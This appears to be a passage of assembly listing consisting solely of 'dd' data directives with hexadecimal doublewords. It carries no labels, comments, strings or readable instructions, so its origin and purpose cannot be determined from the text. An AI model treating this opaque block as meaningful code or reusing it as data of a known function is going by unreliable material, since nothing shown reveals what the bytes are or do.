		dd 0A604048h, 16037573h, 0FE6E9C99h, 5764E083h,	5D7000D6h
		dd 0F4FD2F9Dh, 0A4009E48h, 0E71C0B1Bh, 0C0410E59h, 0ECAD0518h
		dd 2C03092Ah, 9B288E2Fh, 0C07CB2BAh, 2E188FCh, 4394407Fh
		dd 0EC600436h, 50848E9Eh, 0A816487Bh, 0BD296BE0h, 0BF991B80h
		dd 0C500FA2Eh, 0A3773259h, 270E4D0h, 0FEB50869h, 28CA7212h
		dd 4B414480h, 571E5CBDh, 9CAC2435h, 0A4210959h,	330828D9h
		dd 0EC082345h, 6EB7007Eh, 3CFDEE57h, 0B802B01Eh, 4EB6F7DFh
		dd 2188405Dh, 1492F9h, 82253D33h, 5B803739h, 66F19D06h
		dd 1990ABFEh, 891EB134h, 7AE45079h, 0AD0051E9h,	5329F0FAh
		dd 0E12065A5h, 0FDA08A00h, 3E24EA05h, 0F808AC0Fh, 0D556212h
		dd 1D2B4466h, 3F80F880h, 9ABC11A7h, 641301ECh, 0C22A322Dh
		dd 0F3CFC74Fh, 69390620h, 6F0E8F40h, 0E17FE049h, 0F186F7D0h
		dd 0A1277ED8h, 49186838h, 0B4207641h, 20305D4h,	8C453BABh
		dd 341C3330h, 8426321Ch, 4E5C1060h, 0B41D5C36h,	90FCA629h
		dd 0C1B09C57h, 129C0103h, 82839DF0h, 21046A14h,	4D01CC8h
		dd 0F0763186h, 0DF28135h, 6F42C884h, 525BDE0Eh,	51042327h
		dd 5C92D13Fh, 0F7CC14F4h, 2BFAC0h, 5B43A641h, 8B41D09h
		dd 51B1C50Eh, 0E0D75F3Ah, 4E0A826h, 0AAC1A285h,	441887ABh
		dd 203B2227h, 77F1D11Dh, 0FB32161Bh, 0DC92E4C1h, 0C5F8E0A8h
		dd 7ED0A96Eh, 5AE88017h, 2027583h, 0BC78D3D0h, 71CC143h
		dd 368C0814h, 0BFB3186h, 0C6B48219h, 34350BC4h,	18021A05h
		dd 0E71895D1h, 1DAC8072h, 0C4E33203h, 0A00AC304h, 283CC82Fh
		dd 21C419F6h, 66119116h, 0B4523138h, 406A2312h,	26EA058h
		dd 1300A3C3h, 1F911AECh, 0BDC9CF4h, 2853C58Fh, 0B60AB082h
		dd 0D2406624h, 2786F58Dh, 5C337C07h, 4C449302h,	5631CEC0h
		dd 46A125E6h, 463A1CA4h, 2415F23h, 9206C773h, 0C055C4B1h
		dd 3E45F8ECh, 7D705102h, 0F8366C7Eh, 152F5E8h, 21F41DA0h
		dd 8804F822h, 59C06723h, 43EC2B61h, 0AAF02EABh,	84AC2190h
		dd 0A21C353Dh, 21FA00E4h, 0A318481Ah, 0D1C81242h, 3A0804ACh
		dd 25C12329h, 0D8A79259h, 9A620254h, 44D39DE0h,	0B04E90A0h
		dd 0A4DFF980h, 31C201F0h, 58AC2533h, 0F5433D6h,	0FAD4E42h
		dd 2E71D926h, 2340110Ch, 7854581Dh, 99ED809Dh, 9C4D48E2h
		dd 7AB248h, 8EADECB9h, 9E40C51h, 0AB043B5Ah, 77A84C0Fh
		dd 0FD521828h, 5E22BCh,	8FA326C3h, 77E4040Ah, 3BB94Ch
		dd 0F07317FEh, 1615CFDh, 2903FFBAh, 3079D43Bh, 44B91468h
		dd 0CE652AB0h, 70840E69h, 91200BA2h, 53028DD9h,	6432D0C8h
		dd 801D530Fh, 947A0D91h, 0D6608198h, 0CB3D873Eh, 1D58A998h
		dd 54A81100h, 0FC309937h, 0AAFA26F1h, 59420818h, 22655831h
		dd 2A7C8C05h, 0D5255D00h, 51995947h, 701E8DEh, 768DC056h
		dd 51060E3h, 0D094A964h, 2C50250h, 2A567AD1h, 786024E4h
		dd 0BA136308h, 0D4042021h, 0C6222DEEh, 40062084h, 281F5169h
		dd 0F68D3EAAh, 8274911Eh, 6CC9C607h, 0FD3AE044h, 3210444Bh
		dd 0F0D833B5h, 252A2070h, 928DC74h, 34981407h, 0BFAA471Fh
		dd 5B0189BFh, 156C1CB7h, 0B01A9E5Fh, 4E60232Ch,	2D9C8B00h
		dd 9200D18Fh, 0A87B2078h, 24E657E1h, 46D04721h,	850715Ah
		dd 5F406EB4h, 19056021h, 61F4982Fh, 0ECBA3107h,	4479FA54h
		dd 197B0CD4h, 260807CAh, 2014AA34h, 847D60B2h, 42310841h
		dd 86381048h, 822251CBh, 507C2E32h, 3075F0C4h, 571BC7Fh
		dd 7E13010Eh, 1040326Ah, 9565398Ch, 0AB7124B7h,	4238269Ch
		dd 2E40E2D6h, 0E09E19C9h, 3253B340h, 99D100EDh,	0F807A349h
		dd 0BFE69B34h, 0B61CAB01h, 0C17A607Dh, 33192912h, 5A80A822h
		dd 8FBE7320h, 0B29BFE00h, 640AF2F6h, 200C9826h,	0AC79C8CAh
		dd 9987B030h, 0B99547FAh, 44CF0A48h, 0D04800C7h, 181711E3h
		dd 4A721AB0h, 0A00F3704h, 4C8BAC4Fh, 60A05427h,	8DC4DD07h
		dd 0C7D64Ch, 0FB5D78BCh, 191AEB92h, 0C8D2CBDCh,	36F84C1Dh
		dd 48ACC9C0h, 13C0D721h, 0C050130Eh, 0D4F7D2E0h, 3E30290Bh
		dd 0C0009A43h, 91985FF0h, 0FEB3C0E4h, 2400456Ch, 0ACC3708Fh
		dd 173C2D6h, 0DECE6899h, 0EE37E163h, 281E2466h,	4700CF8Dh
		dd 0AE5F7C4Ch, 0C3264C6Eh, 4680F12h, 26280E14h,	0E40C53B1h
		dd 0FD4B7100h, 0A1E3AD91h
		dd 8459DC00h, 0A9D88BE0h, 4220918Dh, 0F600231Ch, 52F2FEB4h
		dd 0AA11CC62h, 3231280h, 15E75440h, 1D6A669h, 4009D998h
		dd 50A96F9Bh, 1DF1BB78h, 7E1CEF01h, 8B7694DEh, 17A09FD8h
		dd 1299C714h, 0C2F912C8h, 0D0E90A4Ch, 0F2C980F1h, 311A4EABh
		dd 757F4Ch, 205EEA2Dh, 3F8E3484h, 8945A801h, 31E65577h
		dd 41214023h, 81007311h, 0E1151E82h, 0FAFE5B09h, 3C065426h
		dd 0A8696551h, 9EAA4EC0h, 1317EDF2h, 68098646h,	2C7CC467h
		dd 79A026A7h, 84CF70D1h, 0BCE33117h, 8DF23844h,	1189C021h
		dd 0C217F5FAh, 85284E6h, 7BC7244h, 0EEEF4E83h, 304B7797h
		dd 3AD6F4FFh, 9D542704h, 0CE0CEFEh, 79F725F9h, 34D924B8h
		dd 9F0384E4h, 27C47697h, 62859098h, 113000C1h, 0BF7FFA94h
		dd 109E0BE6h, 22AF0483h, 0C69903FBh, 0DEEC5D1Fh, 840BB0A0h
		dd 4E1AF606h, 21D82EFFh, 5C188E66h, 6022C281h, 0BF5A41FEh
		dd 800046F8h, 26BB74BDh, 4A77D6h, 0A4604710h, 5AFEA2B3h
		dd 20E5FA15h, 0F8AD26A4h, 0B85D2D8Ah, 2B63EE83h, 27B29132h
		dd 28281875h, 1884418Bh, 0BBD0E492h, 94D66560h,	2E29CA98h
		dd 45FC962Ch, 0B8584A6Ah, 69F243C4h, 0A4FC4AA4h, 311558h
		dd 0BDC09B3h, 3F7FB2E5h, 3482FF00h, 0BAD8C767h,	0B50205BDh
		dd 0A47DA2FEh, 10EACFF0h, 0A968B00Bh, 18246E32h, 614CB564h
		dd 98A8FF23h, 73031DDCh, 25E0172Ah, 0C029BA26h,	0D7436h
		dd 61D46342h, 8E5EFD4Dh, 0C2E160B4h, 40292458h,	5E006138h
		dd 0E4BB4EF3h, 0A8099691h, 0FF1ABC5h, 0B52A5F0h, 2B7FC8D2h
		dd 774F844h, 813ACE01h,	2954DAB2h, 1C7DD60h, 0A485EC09h
		dd 332E31FBh, 0AB6B167Ch, 0AE6258C2h, 532FD14Ch, 4D68B420h
		dd 0CA0145B1h, 303A0B80h, 54D0B27Fh, 0E8F009BFh, 0B0826208h
		dd 7301F386h, 0D1846984h, 0D4489E1Dh, 4ACE2F4h,	0FE3221B9h
		dd 0F11020B2h, 24E19E2Fh, 3EC33C14h, 0B8604A52h, 7DC926D9h
		dd 0D34E00B5h, 1C4689Bh, 0B340821Bh, 529408Eh, 14E3C000h
		dd 3B4BE272h, 9E1F01FDh, 0AA3F760h, 10A6CCC1h, 593C0E7Bh
		dd 0AED60009h, 1A5279D3h, 0DC0F4CC7h, 84277A10h, 6404234Fh
		dd 689253B3h, 31386869h, 8B10B906h, 7418CE10h, 0C0BA282Ah
		dd 1327B621h, 70D828B5h, 0E409B104h, 1CC1D668h,	23017566h
		dd 0B03D72h, 0FDD16486h, 1197FFAAh, 7A53C9h, 6D9C163h
		dd 289A67B6h, 1248F071h, 30B9AC0Bh, 484EB2F8h, 8B6EAB00h
		dd 6637AA92h, 85880F45h, 0EBA31A0Fh, 0B004A0D6h, 3E08F5Ah
		dd 480D6504h, 13469E02h, 13BC05BEh, 6EC004ADh, 0D11D0031h
		dd 0B8D776F2h, 39050E07h, 0CE057ACh, 0FA9968D6h, 75723B00h
		dd 0B2629C91h, 403CB622h, 676BFDB8h, 3526AE63h,	0A36F8FFh
		dd 0C27F2971h, 0E7991A0h, 134ACAAh, 4AB73BE5h, 0E9019C72h
		dd 6BCAF0EEh, 0C0ACDD1Fh, 68B81A1Dh, 3F65A220h,	801EC0Fh
		dd 6CB0F419h, 1C02D24h,	2A3026CAh, 8442A71Ah, 9A3CA276h
		dd 0B4230409h, 0A20073DCh, 2C1166EEh, 12765E98h, 49A6CEE0h
		dd 0B4048820h, 0C0564Eh, 0E225B5B8h, 2D71C078h,	1EA41D34h
		dd 9B945207h, 86E72C4Dh, 0E3AAA802h, 0E473B904h, 13248011h
		dd 0B270D01Dh, 21C329ECh, 0D3FA07CCh, 4FB9620Fh, 0B7D1E960h
		dd 10D8C34Dh, 233E68D9h, 48A48D2Ch, 153A38D8h, 2FAAAC04h
		dd 131CCC31h, 8C01A87Ch, 1ACC1E1Fh, 84E58B73h, 25538C20h
		dd 0B02122ACh, 0E80EEF3Dh, 297D03FAh, 9921E890h, 7CEC0846h
		dd 0B2901414h, 99086647h, 9023146Ch, 74826F80h,	4F1FEEE2h
		dd 914A9C4Ah, 8B598CA2h, 9D643184h, 0C358974Bh,	0A7E56D78h
		dd 918700A0h, 0D55AB2FAh, 82E813BAh, 0EA6C0496h, 0C0A810F4h
		dd 0E431ECC0h, 0B3911B4Fh, 5140B0A9h, 449EAAE8h, 0A7CEDD40h
		dd 429800ACh, 29A9EA11h, 7D000EA2h, 0E67BE526h,	0C84EC1h
		dd 5DCBA537h, 8B893EBAh, 0AABEA607h, 0B86A0AB6h, 0D0D09216h
		dd 3AC5CBF6h, 179E83C9h, 879E40F4h, 7F6F32E9h, 574CAE49h
		dd 0A0FA2AD0h, 0E40AC900h, 734BBABDh, 0B8357228h, 6B9D3989h
		dd 7210D848h, 0A964126Dh, 14059C25h, 0E08BC2A4h, 2AF7FA08h
		dd 932C28Fh, 280059E3h,	283A2194h, 85C04F14h, 48A25181h
		dd 41250A01h, 80FD2055h, 4366EDA9h, 0AA67A7h, 40F56287h
		dd 885ADB0Fh, 0ACDA441Ah, 10BC4E50h, 38E4802Dh,	7CAC44F3h
		dd 863200FDh, 0B0FCC294h, 1CA3CBF9h, 0A49184F7h, 0AFE051BCh
		dd 0D382800h, 0A257AED0h, 0CC971777h, 0BEBCC154h, 9CBC0827h
		dd 1048E7D4h, 0FCDFEE87h, 4F345F00h, 0D06EA6E8h, 6ADCF55Bh
		dd 0F3350426h, 0E0515EB6h, 724484F8h, 0A1B001Dh, 0FDFC7E11h
		dd 0C12E1A47h, 696FF0E3h, 69DC61A7h, 0E9C9570Ch, 7E54040Fh
		dd 54605D85h, 1FD4112Fh, 4EF40Eh, 83C8D656h, 20725EE9h
		dd 1FB66B00h, 0FA0328CCh, 17D1FC3Ch, 0E883A41h,	3216321Dh
		dd 0FE19F7D0h, 94975D18h, 0C1237804h, 79C3DD9h,	0F3F8F7B0h
		dd 4607AFD6h, 0F8DBB330h, 0C496EE91h, 40523C20h, 1D549293h
		dd 9A3D0DA8h, 0FD8D8095h, 0F1320FDCh, 4A5CE491h, 2A8C89EFh
		dd 7A835404h, 184AF142h, 54003444h, 5DA5AA3Fh, 3F28ED6h
		dd 0FA8580AEh, 0CCF77708h, 228671C0h, 72447DA3h, 0E1300944h
		dd 4661CF40h, 98C73BEh,	0DD723A5Ch, 0A788BB80h,	0D400BC64h
		dd 23422F4Eh, 0A080716Fh, 894F8ACCh, 0CCD11004h, 2A6EE6Fh
		dd 0AE23B853h, 10E6C816h, 3C821A4Ah, 7D9211F2h,	26E10080h
		dd 199B1D74h, 0F765002Dh, 0C2D0BE76h, 0C0E4F39Eh, 21905048h
		dd 626008Ch, 60FE18F4h,	210881C9h, 0CCAC28BCh, 37A04060h
		dd 3668ECDEh, 18728815h, 0C18C1297h, 82148174h,	1D257BACh
		dd 104AF8E0h, 2203E02Ah, 0CFAA1E18h, 0DE90F009h, 0FE0037B6h
		dd 242D2A43h, 4A223E8Dh, 0A6A0C70Ah, 8C9B6CBEh,	528E748Fh
		dd 0AD0704F7h, 80F20736h, 48C34764h, 0E8158C9Ch, 750B05E4h
		dd 5000687Fh, 19ED2DA3h, 7EF61E1Bh, 0D534A8Ch, 0B3CB8080h
		dd 19B2FE2Eh, 0FC5D542Ch, 42F0809h, 0FC21FDB4h,	11F82DF0h
		dd 0C44A35F4h, 0DA50A058h, 2F359042h, 8328121h,	9542098h
		dd 83DB2D01h, 49604C4Eh, 23206CE5h, 0A59D00FEh,	0DA66028Fh
		dd 400B9D2h, 69863BABh,	2FCF0796h, 0B41E3168h, 8D130842h
		dd 9308C1EFh, 65050021h, 4CEA54FDh, 631885Eh, 0DE42609Ch
		dd 0A5001485h, 4EE77A97h, 0E51B6Bh, 2BBD5FCDh, 1F629B3Eh
		dd 0B0A9A4A0h, 640D5105h, 34880EB6h, 0C29188FDh, 0F7746700h
		dd 2F3CF6A7h, 252A02A5h, 5972101Eh, 53D0041h, 63D65880h
		dd 0A9762473h, 461509C8h, 0FE00F84Dh, 867C6E6Dh, 1FE80033h
		dd 7B8FE7C9h, 98D6B981h, 0F0516B0Ah, 88022543h,	15EF859Ch
		dd 0C85022C2h, 34FCFA0Bh, 0FB02E4EEh, 65B2C7FEh, 0E2F8608Eh
		dd 98434BB6h, 9F0202B4h, 0B9F588FEh, 0B64D889h,	5358362Ah
		dd 0A18A3090h, 0E0F6300h, 2B05A8B3h, 20E00398h,	3F738BB7h
		dd 540D23D0h, 9E6480A0h, 0E0A0DCBCh, 0F6006491h, 0FAA28BC1h
		dd 630E3F50h, 8C59AC89h, 410F0C00h, 0D4E1A3CCh,	3D5F8BC9h
		dd 68572440h, 937876h, 0AC25201Dh, 9C11CB2Ah, 52D17D00h
		dd 0DB0B99CCh, 0E2FA132Ch, 0B0A800C7h, 1DF7B902h, 0A98C5E12h
		dd 810E7020h, 50E89012h, 44795071h, 1B4D925Ch, 0C45A0030h
		dd 0DA8698C9h, 0F550730h, 0E095B46Bh, 537A4B94h, 7F249619h
		dd 402F92F1h, 0CA018BC4h, 0FE03D548h, 3DEF66F0h, 403BDAC8h
		dd 0BEFAC0h, 0AAA08458h
		dd 97518643h, 0FB138891h, 44008C64h, 8B8C1A72h,	4EFA0337h
		dd 832184C0h, 64053A7Bh, 0ABC2DF1Fh, 3C4C1840h,	1162CCDh
		dd 0D840B16Fh, 30A7343Eh, 22007FCCh, 36840EF3h,	9E555C4h
		dd 8C741F6Bh, 8FF49044h, 90E8C301h, 0F43683A9h,	939507Dh
		dd 648240DCh, 0EC5A89B0h, 0C2B9FE60h, 0D8E568h,	5E9942B5h
		dd 9FDB52ABh, 84BDBB00h, 4E7F0157h, 40C8B6A9h, 61DA4132h
		dd 7DF3AD1Dh, 1F1DCE81h, 3620EF0Eh, 32D4A024h, 0A2F800Dh
		dd 10B7709h, 0AC103857h, 7C4407FAh, 96CB40D6h, 617C91FCh
		dd 8015023Eh, 5CAAB5DCh, 562EBA4h, 144C5011h, 0AE1D0Bh
		dd 67B55EA0h, 0BF00FC0Ch, 0B97BFFE3h, 8F1266h, 0A78C4720h
		dd 7E73C737h, 0E9138B01h, 0A01BEA6h, 29746070h,	1FA05679h
		dd 25602632h, 2D03DCECh, 0C1C98CAFh, 1DD20EFFh,	53400AC3h
		dd 0FA02B191h, 7D1F4100h, 32AABF5Ch, 1CE002Bh, 62D3BDFCh
		dd 3639C9A9h, 0CCFD144Fh, 2722250Ch, 0EF200480h, 179B36Eh
		dd 3865405Bh, 706C0E52h, 0B04EA1BBh, 0B983B4C0h, 0AE20F96h
		dd 0B02233Dh, 9898A7F0h, 6F074EE1h, 2B271645h, 1CC33A40h
		dd 906700CEh, 0C861E47Ah, 0ECBE52C7h, 805C8E88h, 0FA2F6502h
		dd 919D82E6h, 0F7080314h, 24310B4Bh, 143449ABh,	0F28245B1h
		dd 1089C8C9h, 242E85ABh, 815453C0h, 90C2803Ch, 92C44E0h
		dd 34904BB8h, 290091FBh, 86346725h, 73C224E1h, 0AC9D0019h
		dd 7F44A31Ch, 0E400D128h, 2AB8429h, 0C07BB1CEh,	0F626F150h
		dd 0C238B2E6h, 0A9922FF9h, 0D0F18088h, 138E9B0h, 0A9DCF448h
		dd 0C8FA45A2h, 0E21278ACh, 0A0208074h, 0CFB64B02h, 0CEE73391h
		dd 6BD600C3h, 19C37553h, 80F50252h, 0E218342Ah,	0B0850019h
		dd 0F17B46CBh, 0FA17D908h, 9C5FFEDFh, 10A422D2h, 110D00CCh
		dd 0B4688E97h, 0EF7053BBh, 0D49185FCh, 0C00AC280h, 3EED21FCh
		dd 5C02FA53h, 0AAC4B502h, 5A64E840h, 0F70EA8A0h, 0ECFFE604h
		dd 0D8D802D3h, 243E1CAAh, 1A280FD1h, 90A9D905h,	6ED2C33Ch
		dd 90859A0Ch, 179E21C2h, 49C032FEh, 9468E874h, 7E29030Eh
		dd 182DB0B2h, 0FD2DC4h,	975E5B67h, 0C657F7BAh, 0B38E4600h
		dd 0D75AB62Bh, 31C20259h, 724AAF8Dh, 58D01B62h,	0E68CF602h
		dd 740B4F4Dh, 0A0749DD4h, 57817515h, 0C0C848C4h, 49C36FA9h
		dd 6D3703C8h, 69F7630Dh, 0C43E90A7h, 0C8B8BF59h, 7B1D7544h
		dd 43A20BC6h, 340062E8h, 0A68C72E0h, 286BDD03h,	0C09BDA10h
		dd 7961C604h, 21AB0908h, 0F0489534h, 8803380Ah,	8583CD91h
		dd 8B27D0AEh, 0E3241B2Eh, 992CB0AAh, 900EE022h,	0A0A21618h
		dd 0A4584980h, 0E405525Bh, 2715ABB1h, 0B37DF0C0h, 2560006Dh
		dd 0AECA9BC3h, 964FF973h, 7850AC80h, 8C5B0024h,	0DB823FB2h
		dd 2A01CB6Dh, 1952FA0Eh, 9E4B7F1h, 0BB506C2h, 62F9F88Dh
		dd 4675DF00h, 9421C560h, 147BE030h, 0A45667BAh,	80DFA7C7h
		dd 8238606Eh, 318F4F00h, 36ACE7ABh, 18431390h, 0B9D8B423h
		dd 4D4BC21Fh, 0CB4E08C0h, 0FD018Dh, 0E42A9ED0h,	780A0D5Eh
		dd 0BA43C103h, 0C08B7F4Ah, 0B044B016h, 7DABF275h, 648F1DD6h
		dd 17F26B5h, 9DAE4F24h,	517BCC2Fh, 0E0AC3D01h, 87C39216h
		dd 8011AC29h, 60481E66h, 215D89h, 9819BA64h, 2CAC1606h
		dd 0A834CC13h, 0C0264B00h, 1CF916C4h, 4A789032h, 317822FAh
		dd 386A247Eh, 12AA40BEh, 204A0D86h, 3D707F9Ch, 0A931C97Ch
		dd 111F701Ah, 262C5E12h, 0ACA207A4h, 507063DEh,	4E203D82h
		dd 29F979C4h, 100DF221h, 641E1AACh, 5467984Ah, 68D04AA8h
		dd 58ABC4h, 0A359C05Dh,	0FA17FEE1h, 4F24325Ch, 7CA23824h
		dd 0B6E00F04h, 541CB842h, 31881CDCh, 0E0919701h, 4B5308FAh
		dd 75E402ACh, 74785084h, 0C0E01895h, 9DF70B7h, 0A2645D6Fh
		dd 0CE77E498h, 0DCC54A0Ah, 96405C6Bh, 9EF172h, 0BBFA7A1Ah
		dd 305AF9A9h, 12B4AC4Ch, 88257F74h, 32C274ACh, 0C8DCE8FAh
		dd 0E0250A42h, 1A47162h, 0CC80C305h, 3F6AAF63h,	0BF14C21h
		dd 505C4182h, 80FADEFAh, 7805D04Bh, 0EC27BE54h,	0AC071A7h
		dd 0F0EC4BCCh, 84D949A4h, 0C842F232h, 7A00C45Ah, 43ACC454h
		dd 0F8E021D3h, 5062E9B9h, 0FFBA204h, 0C59187FEh, 0BC80550h
		dd 0E8F68Bh, 0DB9BE617h, 4CA033h, 7227BFBCh, 8D5439EAh
		dd 0F44B6809h, 32280214h, 0C0A262F3h, 166DE278h, 1E999351h
		dd 0B7370048h, 0AAF0F7C5h, 8DA0AB54h, 9055F44h,	0CAC2EEB5h
		dd 92130200h, 80CE524Eh, 9076091Fh, 0B19864D4h,	229C2054h
		dd 0D00120E8h, 0ABDBD2F0h, 0C288425h, 8AB3F3CFh, 328C00E8h
		dd 146509C1h, 8D6100F5h, 0E68ED405h, 8003936Bh,	5ED757ABh
		dd 0FBF7D84Ch, 27480043h, 0D0378B6Ch, 0B6002940h, 62C3AA0Bh
		dd 14AFA1Ch, 0BCB10635h, 3EF6ACA9h, 8C640803h, 0BB1027Bh
		dd 873A322Dh, 5974B0E0h, 96041272h, 0E9F8AD51h,	3B8C04D0h
		dd 17A1752h, 0D0EC0111h, 0CDB91693h, 45FFF932h,	17F48408h
		dd 94E8CC14h, 4EDB138h,	0F2F9A1E2h, 0D02CB4h, 0C2FBA5E3h
		dd 0E41CE138h, 0E2125F01h, 69C30931h, 956F1E4h,	1598541Ah
		dd 10C0C8C2h, 0D748DC22h, 58CC4A8Ch, 1BA05CA4h,	2F467D01h
		dd 0CF1E3069h, 0D24559B8h, 0A31A1305h, 0D0888D39h, 9D3C1CF3h
		dd 25ED858Bh, 8050B8ACh, 2A80CDD1h, 6B8200F7h, 30072B56h
		dd 5C0035FDh, 7AD46A95h, 24966985h, 406CCF09h, 0A71A9ABEh
		dd 6023CA02h, 0C8791680h, 0FCFEAAE4h, 2C84956Ch, 3587BF2Fh
		dd 28E3C2F0h, 0B585055Eh, 1D23F8A2h, 4EB604D0h,	80D4FD5Bh
		dd 2E937D57h, 0B35D006Ch, 86A9279Ch, 0F51D3CCAh, 44680842h
		dd 110E058h, 0C4966181h, 0A8D1B183h, 6F17820h, 8C1CA34Fh
		dd 7A78A242h, 0CB1D3404h, 60FC4175h, 0C2C90F0Bh, 87002459h
		dd 4E7A3BE3h, 2F2E0017h, 95BD26F0h, 0A95B6451h,	0CF80BC24h
		dd 2DE3F49Eh, 3C902A3Eh, 5D010854h, 0F50A114Bh,	18CCBC24h
		dd 8AE4BCFDh, 45BCF7F9h, 3F0C8853h, 8F9CEB01h, 51E684FCh
		dd 0C80C126Fh, 0BF1E42ACh, 64003971h, 0E2EDCB13h, 0F9B91E7Bh
		dd 8B6BC0B0h, 3CA30C83h, 8D00CC99h, 57FB3604h, 2AE34C9h
		dd 0F48284E9h, 0C4782A60h, 11607730h, 9FD7E164h, 871A44A0h
		dd 2DF0CF9Dh, 2929B438h, 4910B869h, 68918678h, 6D415280h
		dd 16B094C1h, 0B12EFE9Dh, 80607898h, 0F5566891h, 1C2E6E3h
		dd 64F008A7h, 3562E1A5h, 0FA3C41A0h, 7D3180DFh,	0CF76F61Ah
		dd 8CD45B13h, 955CA88Ch, 0C12E0075h, 0DBA03D36h, 3A1E0FD0h
		dd 23623C22h, 40C1AE5Ah, 0CEA45116h, 1FDE0E3h, 0A663B301h
		dd 70B1D543h, 98330C0h,	8BFC6EACh, 8110F884h, 68A9DB9Ch
		dd 23C680C0h, 85F8681h,	33A620B1h, 4036010Eh, 4AB3C907h
		dd 4870E784h, 1D0D008Bh, 317AB97Ch, 1938B82Bh, 0E0564E32h
		dd 68006CF2h, 8016890Bh, 0BD0F6418h, 60A6FC7Ch,	0E411ED93h
		dd 90A806EFh, 0EE8C2D22h, 692AE062h, 805C7BF8h,	5C8E3A8Bh
		dd 0AC028432h, 8FFDC734h, 2254C060h, 0A853059Eh, 0E952DE65h
		dd 0A28C003Ch, 34BB172Fh, 448B0486h, 0BCAB7510h, 284D83A8h
		dd 0CB29C8FDh, 607A0076h, 0BA915BA7h, 0E62D8CF5h, 42F4C6F1h
		dd 0C0A05836h, 0D456A005h, 0EC2A0128h, 0C3C05933h, 48182CABh
		dd 85A440B8h, 1035E612h, 78AAA0F0h, 0D25BF465h,	0ECA210h
		dd 9097BB4Ah, 2AC1D6Ah,	0E6FA4964h, 0E4D389B2h,	0F41CC400h
		dd 6F3511h, 6C159C63h, 2E837E5Bh, 0FEB4BD09h, 4A287882h
		dd 0A3CC20ACh, 4EE4C8Bh
		dd 0D67F5700h, 2463544Fh, 7813008Ch, 375B9C12h,	0AE00E22Ah
		dd 4F29C2FFh, 27AF60ACh, 7824620Eh, 0A7F8FC4Eh,	1970E6A0h
		dd 0D80107EAh, 20ADFFD1h, 0B4B6A21h, 881F6D75h,	0DC2670BAh
		dd 0C3DAA031h, 0FA2D982Ch, 0D3284046h, 0B020D087h, 0B4235C79h
		dd 0D9322880h, 55008F31h, 2B575C16h, 3B195242h,	22016D06h
		dd 56A55A15h, 42B4257Ch, 0D0F4FA20h, 20952340h,	8350C919h
		dd 5F09A880h, 0A70040C9h, 6EBA5A90h, 0A670B2h, 0E52B146Ah
		dd 2A1F3230h, 31D0900h,	5201B4C1h, 244F25F3h, 0C05D682Eh
		dd 13B1DF88h, 0E50EEDAAh, 204239A6h, 1DBDEE5Dh,	8C670016h
		dd 0DB970D93h, 0F1025B6Ah, 0CF18CD62h, 82A8400Ch, 5EEBB8BCh
		dd 78CAF5h, 0A66CA05Bh,	0B86EFBB5h, 7F3D3E7Ch, 21C0F04Ch
		dd 3225607Eh, 0B0C0FB48h, 90DD4Bh, 0E7A7E961h, 1BDC7475h
		dd 1435DE00h, 0AFAB2ACCh, 0F2970951h, 88587EB6h, 50C8A85Ah
		dd 0F01800EFh, 0A9576308h, 994EE60Bh, 9678BCC8h, 88458E38h
		dd 0C11C0F5Dh, 0B9B1D181h, 22E5D9AAh, 4E286974h, 13080928h
		dd 0C8102163h, 9301066Bh, 18FE8758h, 26E8CA79h,	68BA2CEBh
		dd 979E6218h, 9F50A740h, 0A3116500h, 4AC3DC91h,	0B8CF0686h
		dd 616D0CA1h, 74B988Eh,	3EDA4CCh, 0D214FD13h, 74E36031h
		dd 32C41900h, 0F9E8C99Fh, 2FCB0104h, 8B7672ACh,	54307AA6h
		dd 39A2F85Fh, 4B0ED91Ah, 0D260BBADh, 0F6702364h, 0AF60A2BFh
		dd 32AA2382h, 110CC0F4h, 0A9026D81h, 75BBD609h,	2AE10EE4h
		dd 69FC316Eh, 5AB1CA0h,	0C6AE8A4h, 0DD434F60h, 0E210A44h
		dd 0BE06CADh, 34A958FAh, 7524A868h, 85E9E100h, 0F64F340Ch
		dd 3AB47ADDh, 27092B60h, 0B099BB8Ch, 16B06247h,	80065981h
		dd 716423h, 3A622E44h, 5F42EEE1h, 0F799CF00h, 70D4B4B5h
		dd 0E6F42814h, 0A310940h, 0C4A73C36h, 284B71Ah,	0E0C648A3h
		dd 0FB359804h, 570AC8F7h, 6378C0CCh, 6D05E709h,	0EF089C6Fh
		dd 3805B48Bh, 0C0DB4EB8h, 0D0373C6Eh, 8F1BCA3Fh, 9747ABE6h
		dd 3A98C0E4h, 901D74EEh, 58F8C5B9h, 960A0ABh, 0F4AC170Fh
		dd 432408F1h, 5F88F656h, 0D7A21BEh, 0FE007091h,	8F9B906Eh
		dd 250A01A8h, 68640B85h, 0EEF7F81Ah, 0DEFC249Fh, 74F2B8C5h
		dd 6ACD8780h, 9E1319BEh, 8047DDE6h, 3A74F808h, 0A6A844E0h
		dd 0FE7171F0h, 1F9807C5h, 0F0348D2Ch, 0ABC9E9F0h, 540AB094h
		dd 9F839873h, 0E0E2CDD6h, 0B990FC1h, 0E83685AAh, 84F170C2h
		dd 5F14B600h, 67462Fh, 433C243Eh, 510EE6F1h, 0EE5C6E1Fh
		dd 83A62C44h, 55A2AA82h, 5DB5D80h, 0F051762h, 8C64AD50h
		dd 1000CADh, 0A843F7C3h, 365EBCCBh, 48318C88h, 73EA44h
		dd 3AEEDD74h, 8C0A2C58h, 0C3715A00h, 79231C81h,	16902Fh
		dd 775C4CE1h, 947345C1h, 6624891Dh, 206BF4Bh, 0FA8074EBh
		dd 190212A0h, 4C60B2F7h, 61447750h, 2962648Dh, 0E80A992h
		dd 4F0B7CA9h, 1F5B40E1h, 9EB541h, 0FAC87609h, 0C6B6470Dh
		dd 0F69DC516h, 4CF24C25h, 595B9F07h, 804B9716h,	0C809ABB5h
		dd 33057AE6h, 2276B4A0h, 567288Ch, 0C55D91C9h, 8BDC8134h
		dd 0A808457Dh, 270C8080h, 0C036C6h, 8D82F1BEh, 0ECCCDCDBh
		dd 0DA214302h, 0DC63D601h, 3C334030h, 0D00B245h, 3A8C386Fh
		dd 8785A2h, 2991CC53h, 0ADBA8BC1h, 1F419618h, 1EA0C220h
		dd 1783B3FDh, 0B5E0470Fh, 0AAF6503Dh, 0C026E6EEh, 0D0C0280Ah
		dd 106596h, 0A6976A88h,	0FA2419E0h, 40A9E52Eh, 490A1A80h
		dd 4C442E8Eh, 0A5226C28h, 53D333Dh, 196C6DFCh, 0B04D7C81h
		dd 0E48BF270h, 0DC881DCDh, 273F82C6h, 0C84146CCh, 6E7DD4BBh
		dd 4BB36700h, 50305537h, 0E42A2410h, 0A48F0058h, 0A99A86EFh
		dd 93FC4C02h, 80AEEE76h, 0A37B5B08h, 4028C073h,	24FF96C4h
